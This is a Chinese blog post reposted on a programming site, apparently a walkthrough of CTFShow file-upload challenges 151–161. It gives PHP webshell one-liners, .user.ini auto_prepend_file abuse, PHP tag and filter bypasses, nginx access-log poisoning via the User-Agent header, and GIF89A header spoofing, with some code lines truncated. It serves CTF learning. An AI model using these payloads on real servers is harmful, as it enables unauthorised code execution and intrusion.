文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

PHP-nginx-ctfShow文件上传漏洞

2023-10-05 17:33

关注

CTFSHOW-文件上传-151到161关卡

151 152-JS验证+MIME

Content-Type: image/png

153-JS验证+user.ini

https://www.cnblogs.com/NineOne/p/14033391.html

.user.ini:auto_prepend_file=test.png

test.png:php eval($_POST[x]);?>

154 155-JS验证+user.ini+短标签

echo '123';?> //前提是开启配置参数short_open_tags=on

(表达式)?> //不需要开启参数设置

<% echo '123';%> //前提是开启配置参数asp_tags=on

<script language=”php”>echo '1'; script> //不需要修改参数开关

.user.ini:auto_prepend_file=test.png

test.png:eval($_POST[x]);?>

156 JS验证+user.ini+短标签+过滤

.user.ini:auto_prepend_file=test.png

test.png:eval($_POST{x});?>

157 158 159 JS验证+user.ini+短标签+过滤

使用反引号运算符的效果与函数 shell_exec()相同

.user.ini:auto_prepend_file=test.png

test.png:system('tac ../fl*')?>

test.png: echo `tac /var/www/html/f*`?>

160 JS验证+user.ini+短标签+过滤

包含默认日志,日志记录UA头,UA头写后门代码

.user.ini:auto_prepend_file=test.png

test.png:include"/var/lo"."g/nginx/access.lo"."g"?>

161 JS验证+user.ini+短标签+过滤+文件头

文件头部检测是否为图片格式文件

.user.ini:GIF89A auto_prepend_file=test.png

test.png:GIF89A include"/var/lo"."g/nginx/access.lo"."g"?>

151关(修改前端代码即可)

后门代码:

post:x=system('ls');

修改前端代码

上传包含后门代码的php文件

通过POST提交指令x=system('tac ../flag.php');

152关(修改content-type类型,上传PHP文件)

通过修改前端代码,发现上传失败,先正常上传png,通过抓包猜测,限制了content-Type

继续修改前端代码。抓包,修改信息

153关(.user.ini包含1.png自动执行)

使用到了.user.ini的文件配置漏洞

.user.ini实际上就是一个可以由用户“自定义”的php.ini

指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中

.user.ini : auto_prepend_file=1.png

1.png :

post : x=system('tac ../flag.php');

.user.ini 父目录中是自动带有index.php

154关( 换为

当内容检测中,过滤了,可以使用一下方法

echo '123';?> //前提是开启配置参数short_open_tags=on

(表达式)?> //不需要开启参数设置

<% echo '123';%> //前提是开启配置参数asp_tags=on

<script language=”php”>echo '1'; script> //不需要修改参数开关

这一关过滤的php,所以 换为

 

 

155关

和154关的过关方法是一样的

发现存在过滤

156关(前端修改代码无效,上传后门代码)

过关方法:

  1. png:

  1. 直接访问/upload/ post:x=system('tac ../flag.php'); 显示flag

发现存在内容检测过滤

但把[]去掉后,发现上传成功,说明对大括号进行过滤了,换{}试试

157关(过滤了php字段,通过*代替了php)

过关方法:

  1. png:

  2. 直接访问/upload/ 显示flag

自动执行了代码

158关

和157关的方法是一样的

159关(过滤了PHP执行命令,反括号代替执行命令)

过关方法:1.png:

.user.ini:auto_prepend_file=1.png

直接访问http://520b52c2-b233-4095-beb0-a8d8fe9a27b9.challenge.ctf.show/upload

160关(通过访问日志记录的读取,.user.ini的文件包含执行)

解题方法:

  1. png:

  2. .user.ini : auto_prepend_file=1.png

 

可以看到服务器的访问日志记录,发现了很多UA头,所以在UA头上做手脚

成功拿到flag

161关(修改内容-文件类型)

发现什么内容也无法上传

发现限制了文件类型内容,内容加GIF89A

#知识点:

1、文件上传-前端验证

2、文件上传-黑白名单

3、文件上传-user.ini妙用

4、文件上传-PHP语言特性

#详细点:

1、检测层面:前端,后端等

2、检测内容:文件头,完整性,二次渲染等

3、检测后缀:黑名单,白名单,MIME检测等

4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等

来源地址:https://blog.csdn.net/m0_63917373/article/details/127272185

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     807人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     351人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     314人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     433人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     221人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯